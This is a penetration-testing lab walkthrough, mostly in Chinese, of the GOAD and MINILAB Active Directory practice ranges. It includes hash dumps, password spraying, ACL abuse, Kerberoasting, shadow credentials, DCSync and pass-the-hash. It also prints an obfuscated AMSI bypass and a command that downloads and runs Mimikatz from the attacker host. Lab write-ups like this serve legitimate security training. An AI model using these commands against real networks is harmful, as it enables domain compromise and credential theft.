samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:22cc0ec994bda88a51feb4ac973a8b74:::
CASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:0134067200b96169a589fecb0e824c54:::
SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:6ccbedad027c526763743f68b222697c:::枚舉 parent domain 的 users
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb '192.168.56.10' -u 'robb.stark' -p 'sexywolfy' -d north.sevenkingdoms.local --users-export sevenkingdoms.local.users
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.10 445 KINGSLANDING [+] north.sevenkingdoms.local\robb.stark:sexywolfy
SMB 192.168.56.10 445 KINGSLANDING -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.56.10 445 KINGSLANDING Administrator 2026-09-01 13:50:47 0 Built-in account for administering the computer/domain
SMB 192.168.56.10 445 KINGSLANDING Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 192.168.56.10 445 KINGSLANDING krbtgt 2026-09-01 14:06:49 0 Key Distribution Center Service Account
SMB 192.168.56.10 445 KINGSLANDING vagrant 2021-05-12 11:38:55 0 Vagrant User
SMB 192.168.56.10 445 KINGSLANDING tywin.lannister 2026-09-02 02:12:45 0 Tywin Lanister
SMB 192.168.56.10 445 KINGSLANDING jaime.lannister 2026-09-02 02:12:54 0 Jaime Lanister
SMB 192.168.56.10 445 KINGSLANDING cersei.lannister 2026-09-02 02:13:02 0 Cersei Lanister
SMB 192.168.56.10 445 KINGSLANDING tyron.lannister 2026-09-02 02:13:11 0 Tyron Lanister
SMB 192.168.56.10 445 KINGSLANDING robert.baratheon 2026-09-02 02:13:19 0 Robert Lanister
SMB 192.168.56.10 445 KINGSLANDING joffrey.baratheon 2026-09-02 02:13:27 0 Joffrey Baratheon
SMB 192.168.56.10 445 KINGSLANDING renly.baratheon 2026-09-02 02:13:36 0 Renly Baratheon
SMB 192.168.56.10 445 KINGSLANDING stannis.baratheon 2026-09-02 02:13:45 0 Stannis Baratheon
SMB 192.168.56.10 445 KINGSLANDING petyer.baelish 2026-09-02 02:13:53 0 Petyer Baelish
SMB 192.168.56.10 445 KINGSLANDING lord.varys 2026-09-02 02:14:01 0 Lord Varys
SMB 192.168.56.10 445 KINGSLANDING maester.pycelle 2026-09-02 02:14:09 0 Maester Pycelle
SMB 192.168.56.10 445 KINGSLANDING [*] Enumerated 15 local users: SEVENKINGDOMS
SMB 192.168.56.10 445 KINGSLANDING [*] Writing 15 local users to sevenkingdoms.local.users
上面有提到找到 parent domain 的一個密碼 powerkingftw135 ， spray 後發現是 tywin.lannister 的
┌──(kali㉿kali)-[~/GOAD-Light]
└─$ nxc smb '192.168.56.10' -u sevenkingdoms.local.users -p 'powerkingftw135'
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.10 445 KINGSLANDING [-] sevenkingdoms.local\Administrator:powerkingftw135 STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING [-] sevenkingdoms.local\Guest:powerkingftw135 STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING [-] sevenkingdoms.local\krbtgt:powerkingftw135 STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING [-] sevenkingdoms.local\vagrant:powerkingftw135 STATUS_LOGON_FAILURE
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\tywin.lannister:powerkingftw135接下來 DC01 的打法就跟下面的 GOAD-Mini 一樣
GOAD-Mini
assume breach tywin.lannister:powerkingftw135
┌──(kali㉿kali)-[~/mini]
└─$ bloodhound-python -d 'sevenkingdoms.local' -ns '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sevenkingdoms.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local
INFO: Found 16 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: kingslanding.sevenkingdoms.local
INFO: Done in 00M 01S
INFO: Compressing output into 20260812053335_bloodhound.zip攻擊路徑如下
ForceChangePassword to JAIME.LANNISTER：
用 tywin.lannister 更改 JAIME.LANNISTER 的密碼
┌──(kali㉿kali)-[~/mini]
└─$ nxc smb '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -M change-password -o USER='JAIME.LANNISTER' NEWPASS='P@$$w0rd'
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\tywin.lannister:powerkingftw135
CHANGE-P... 192.168.56.10 445 KINGSLANDING [+] Successfully changed password for JAIME.LANNISTER
┌──(kali㉿kali)-[~/mini]
└─$ nxc smb '192.168.56.10' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\JAIME.LANNISTER:P@$$w0rdGenericWrite 取得 joffrey.baratheon 的 hash 並破解，得明文密碼 1killerlion
┌──(kali㉿kali)-[~/mini]
└─$ ../tools/targetedKerberoast/targetedKerberoast.py -v -d 'sevenkingdoms.local' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (joffrey.baratheon)
[+] Printing hash for (joffrey.baratheon)
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$b905c2a3d5da4a43c57a80ba3689cc26$c440c9645606bcae5a01ca8228a89595695628a5028d855b1fb6f0f1acd66d119f603c6a9c4c6fba05bc9f6d365d3cc717a5a2ea4e6a85a4deb75392c52a569e31ba844a2196b04caa41ef63f6d8881d4a6d2b4d26c57ecdc90e9781f13d2565228db325efc7c3fc8c7d9e93f590d582f44ce67c12f1d7e3e22693cc597303c832fd1d63a648edc7cf612c865ae61371e648394fef91b7d369039cfdbe2152c955d83fc84d6fbe4ed7be48f752ed3ab92ac4949b6be459260889ed0e1877dd97ea8cb0e2cb269d71af740aded3ede16ff9869154f28e0904cf543d6cdb77c712697bc08dd0a6d1d6c0915c05e35d8c05f98f4c8b23481cfb46737f59d87920c554c891aade225ec2d0bd4d569782efaae418628edac4e005e5182e055543c36c4b7b95aaaaeb6b468990437de839381052e75d9598216c30020189bb9456d62810b6a039c979f66310feefb86a3afcbe91ef4efb9d63356db76e83b88d329ba6e00b1ba04a7731e1950d13970c628086583c2ce01971c39c3f0fb97324b5b8ae7aa281661f0b5cbdc4dd839c14c607fb23d6e4d59749fb3cbc9ed2d147e799675eb6fc3c711f6a1f45482ddef9ceffbf8c67e168198ff87231fe0dbb4ae48832e2c6e6863041e5357188b28f98d02d8f2d3961a24a725de0ed49eb5050cf2b168533cd1cd5358b6aa669509134caef2599bc710c23c4d89086841b03d181b2021af4a7aa08f9bd780e6c7d32b6c629dd800450f61a5e8ef5d91bda70c9cd9569e0a12d9751ed6826a05c29f372e6e72173886c5df8799c17bf43adab7967211f6fd935cf22ae4d0cb58095fe4b33b9b6a40df9f3f8fc2c68ffaa154a37dca773bb55a81defcbc804d325b3dab9d1e480e96cb301c5539dcceb5ffc8cd81de96284722a04534df1ff6e0a0cb9a044baeb2ec76b45167ac7c25706a60870183af200ef7f409646ddd2af9958c017c7669547f47ac2eadbc06415c557ba1fbbb7527a36617818321f834d430026477872e6caffb0c4d2789ee9fc05e8c1aee2609dc27264aef6c7ef43111bace179022689c4d574cfe5664ef77a581cac15428f2aa762ba393f7d3a3bfbf26ceb995bac378c09fa426cd965236e15ab2288f5d8ed0cea922f9eb33b8bb485e46a497f2278fe84c1b3a71ec301f14d5e2afd823d48e4c4a9fba72d935b83436870a7e79f379f2e8d49640a6f8fb7d3f43f36034d0eb0d3b7e0401618b1e1a96e573b9bd2d312da4f5981f933f85e87ed8657f31b99b6df968e7eb60fde2e3acefa43c3e7fb5d7f62d68a649cd719cef9f467ff14c72e9ed556df40fae616affabafc49d82593da610398112d2e111397f115a3b07029d9a611031c4a499cd52123ee4bb70df94ec6642c85fd5fea5b1a5a0694aab6a619f99fccda5a5ba7de4e7c53dcefe5f3cc11f4f5da428bc18ec4b8f70d5d556b7c15c8c3bf2d5550bb76ae740b28727b84f7ec1f168147bd87ea0d28b41c59ca61b1305119236eaa343c
[VERBOSE] SPN removed successfully for (joffrey.baratheon)WriteDacl to TYRON.LANNISTER ：
joffrey.baratheon 有權限改 ACL ， 那就將原本的 WriteDacl 變成 GenericAll
┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' add genericall 'TYRON.LANNISTER' 'joffrey.baratheon'
[+] joffrey.baratheon has now GenericAll on TYRON.LANNISTER之後再改密碼
┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' set password 'TYRON.LANNISTER' 'P@$$w0rd'
[+] Password changed successfully!AddSelf to SMALL COUNCIL group：
把自己加進去
┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'SMALL COUNCIL' TYRON.LANNISTER
[+] TYRON.LANNISTER added to SMALL COUNCILAddMember to DRAGONSTONE group：
進到 SMALL COUNCIL group 後有權限再把自己加進去 DRAGONSTONE group
┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'DRAGONSTONE' TYRON.LANNISTER
[+] TYRON.LANNISTER added to DRAGONSTONEWriteOwner to KINGSGUARD group：
先將自己設為 owner
┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set owner KINGSGUARD TYRON.LANNISTER
[+] Old owner S-1-5-21-3054539889-205875298-3539716541-1000 is now replaced by TYRON.LANNISTER on KINGSGUARD修改對該 group 權限為 GenericAll
┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add genericall KINGSGUARD TYRON.LANNISTER
[+] TYRON.LANNISTER has now GenericAll on KINGSGUARD有了 GenericAll 後將自己加進去那個 group
┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember KINGSGUARD TYRON.LANNISTER
[+] TYRON.LANNISTER added to KINGSGUARDGenericAll to STANNIS.BARATHEON：
改密碼
┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set password STANNIS.BARATHEON 'P@$$w0rd'
[+] Password changed successfully!GenericAll to KINGSLANDING$ computer account：
拿到 STANNIS.BARATHEON 帳號後，利用 shadow credentials 拿到 KINGSLANDING$ 的 TGT、credential cache
┌──(kali㉿kali)-[~/mini]
└─$ certipy-ad shadow auto -u '[email protected]' -p 'P@$$w0rd' -account 'KINGSLANDING$' -dc-ip 192.168.56.10
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'KINGSLANDING$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '3117ccb6539440819fd1e6e3c8b5743c'
[*] Adding Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'
[*] Successfully added Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'
[*] Authenticating as 'KINGSLANDING$' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'kingslanding.ccache'
[*] Wrote credential cache to 'kingslanding.ccache'
[*] Trying to retrieve NT hash for 'kingslanding$'
[*] Restoring the old Key Credentials for 'KINGSLANDING$'
[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'
[*] NT hash for 'KINGSLANDING$': e2c3655173062c11d8597e9d3bb27081export kerberos credential cache
┌──(kali㉿kali)-[~/mini]
└─$ export KRB5CCNAME=$(pwd)/kingslanding.ccache
┌──(kali㉿kali)-[~/mini]
└─$ klist
Ticket cache: FILE:/home/kali/mini/kingslanding.ccache
Default principal: [email protected]
Valid starting Expires Service principal
08/13/2026 00:09:33 08/13/2026 10:09:33 krbtgt/[email protected]
renew until 08/14/2026 00:09:33利用 KINGSLANDING$ 的 TGT ， DCSync 拿到 administrator 的 HT hash 後驗證可登入 Pwn3d!
┌──(kali㉿kali)-[~/mini]
└─$ impacket-secretsdump -k -no-pass -just-dc-user Administrator -dc-ip 192.168.56.10 'sevenkingdoms.local/[email protected]'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
Administrator:aes128-cts-hmac-sha1-96:0c72a36a70f696fbee13a25fd3412d43
Administrator:des-cbc-md5:7f2cd0836164e592
[*] Cleaning up...
┌──(kali㉿kali)-[~/mini]
└─$ nxc winrm '192.168.56.10' -u administrator -H c66d72021a2d4744409969a581a1705e -x "whoami && hostname"
WINRM 192.168.56.10 5985 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 (name:KINGSLANDING) (domain:sevenkingdoms.local)
WINRM 192.168.56.10 5985 KINGSLANDING [+] sevenkingdoms.local\administrator:c66d72021a2d4744409969a581a1705e (Pwn3d!)
WINRM 192.168.56.10 5985 KINGSLANDING [+] Executed command (shell type: cmd)
WINRM 192.168.56.10 5985 KINGSLANDING sevenkingdoms\administrator
WINRM 192.168.56.10 5985 KINGSLANDING kingslandingMINILAB
recon
┌──(kali㉿kali)-[~/MINILAB]
└─$ sudo nmap -sn -T5 192.168.56.0/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-16 06:08 -0400
Nmap scan report for 192.168.56.30
Host is up (0.00063s latency).
MAC Address: 08:00:27:A4:32:69 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.31
Host is up (0.00048s latency).
MAC Address: 08:00:27:A2:BA:25 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.100
Host is up (0.000084s latency).
MAC Address: 08:00:27:45:88:DE (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.1
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.77 secondsrecon target machine
┌──(kali㉿kali)-[~/MINILAB]
└─$ sudo nmap -sS -Pn -p- -T5 192.168.56.31 192.168.56.30
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-16 06:17 -0400
Nmap scan report for 192.168.56.31
Host is up (0.0013s latency).
Not shown: 65517 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49672/tcp open unknown
49702/tcp open unknown
53422/tcp open unknown
MAC Address: 08:00:27:A2:BA:25 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.30
Host is up (0.00098s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
5986/tcp open wsmans
9389/tcp open adws
49666/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49681/tcp open unknown
49688/tcp open unknown
MAC Address: 08:00:27:A4:32:69 (Oracle VirtualBox virtual NIC)
Nmap done: 2 IP addresses (2 hosts up) scanned in 62.54 seconds不帶任何 credential 嘗試 access smb ， 拿到帳密 bob/superman
┌──(kali㉿kali)-[~/MINILAB]
└─$ nxc smb 192.168.56.0/24 -u '' -p '' --users
SMB 192.168.56.31 445 WS [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS) (domain:mini.lab) (signing:False) (SMBv1:None)
SMB 192.168.56.31 445 WS [-] mini.lab\: STATUS_ACCESS_DENIED
SMB 192.168.56.30 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.30 445 DC [+] mini.lab\:
SMB 192.168.56.30 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.56.30 445 DC Guest <never> 2 Built-in account for guest access to the computer/domain
SMB 192.168.56.30 445 DC bob 2026-08-16 09:52:21 0 (Password : superman)
SMB 192.168.56.30 445 DC dave 2026-08-16 09:52:54 0 -
SMB 192.168.56.30 445 DC [*] Enumerated 3 local users: MINILAB
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00winrm login ws machine ，先 bypass ExecutionPolicy，發現有 defender 丟 amsi.fail bypass 掉。用 mimikatz 發現 carol 的 NT hash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -u 'bob' -p 'superman' -i '192.168.56.31'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bob\Documents> Set-ExecutionPolicy Bypass -Scope Process -Force
*Evil-WinRM* PS C:\Users\bob\Documents> irm http://192.168.56.1:8000/Invoke-Mimikatz.ps1 | iex
At line:1 char:1
+ irm http://192.168.56.1:8000/Invoke-Mimikatz.ps1 | iex
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Users\bob\Documents> # Stub: MattGRef02
& {$dawTG=[aPpdOmAiN]::cuRrEntdomAIN.getAsSEmBlIeS()|whErE-OBJect{$_.LOcaTiON -AnD $_.lOCATiON.ENDSWiTH('System.Management.Automation.dll')};[sYsTEm.tHREADINg.THREAD]::sLeEP(164);$lfoSq=[SYsTeM.rEfLeCtIon.biNDINGfLAGS]'NonPublic,Static';$iJMxA44zDL3S='x2tmfma9xasEd';$ylW93=$DAwTg.gEtTyPeS()|wHEre-oBJect{$_.nAMe -eq $(([SYsTeM.tEXT.enCoDINg]::asCII.geTstRiNG([ByTe[]]((5+60),((53+56)),((92+23)),(5+100),(0x4dD -bXoR 0X488),(0XdA1B -BXor 0XDa6f),(55+50),(108+60-60),(115*23/23)))))};[SystEm.THREaDing.thrEad]::SLeEp(167);$_QuVb=$YLw93.GETfIeLd($([STRiNg][CHaR](65+32)+[ChAR](52+57)+[cHAR](24+91)+[Char]([bYtE]0X69)+[Char]([byTE]0x43)+[CHar](54+57)+[cHAR]([byte]0X6E)+[char]([ByTe]0X74)+[ChAr](0X8A1 -BXor 0X8C4)+[CHAR]([bYtE]0X78)+[ChAR](0x4e5 -BXor 0x491)),$lfOSq).gETvAlUe($nulL);$ebgN_iFN='RrQWypqp';[sysTEM.ruNtIme.iNterOpSERVicEs.MARSHAL]::wrITeint32($_qUvB,0x2F2399Ee)}
*Evil-WinRM* PS C:\Users\bob\Documents>
*Evil-WinRM* PS C:\Users\bob\Documents> irm http://192.168.56.1:8000/Invoke-Mimikatz.ps1 | iex
*Evil-WinRM* PS C:\Users\bob\Documents> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
Hostname: ws.mini.lab / S-1-5-21-1279764897-1238047877-2696394337
.#####. mimikatz 2.2.0 (x64) #19041 Nov 20 2021 08:28:06
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 2844604 (00000000:002b67bc)
Session : NetworkCleartext from 0
User Name : carol
Domain : MINILAB
Logon Server : DC
Logon Time : 8/29/2026 6:35:07 PM
SID : S-1-5-21-1279764897-1238047877-2696394337-1109
msv :
[00000003] Primary
* Username : carol
* Domain : MINILAB
* NTLM : c22b315c040ae6e0efee3518d830362b
* SHA1 : e18db28dd5cb56dfaed12a2efbbddd1ce5e8006b
* DPAPI : 3118cee831b8c744a79d10a7423ec7d1
tspkg :
wdigest :
* Username : carol
* Domain : MINILAB
* Password : (null)
kerberos :
* Username : carol
* Domain : MINI.LAB
* Password : (null)
ssp :
credman :
cloudap : KO- on kali
┌──(kali㉿kali)-[~]
└─$ cd -
/usr/share/powershell-empire/empire/test/data/module_source/credentials
┌──(kali㉿kali)-[/usr/…/test/data/module_source/credentials]
└─$ l
Invoke-InternalMonologue.ps1 Invoke-Kerberoast.ps1 Invoke-Mimikatz.ps1
┌──(kali㉿kali)-[/usr/…/test/data/module_source/credentials]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.31 - - [29/Aug/2026 21:34:12] "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -嘗試已 carol access DC ， Pwned !
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.56.30 -u carol -H c22b315c040ae6e0efee3518d830362b
SMB 192.168.56.30 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.30 445 DC [+] mini.lab\carol:c22b315c040ae6e0efee3518d830362b (Pwn3d!)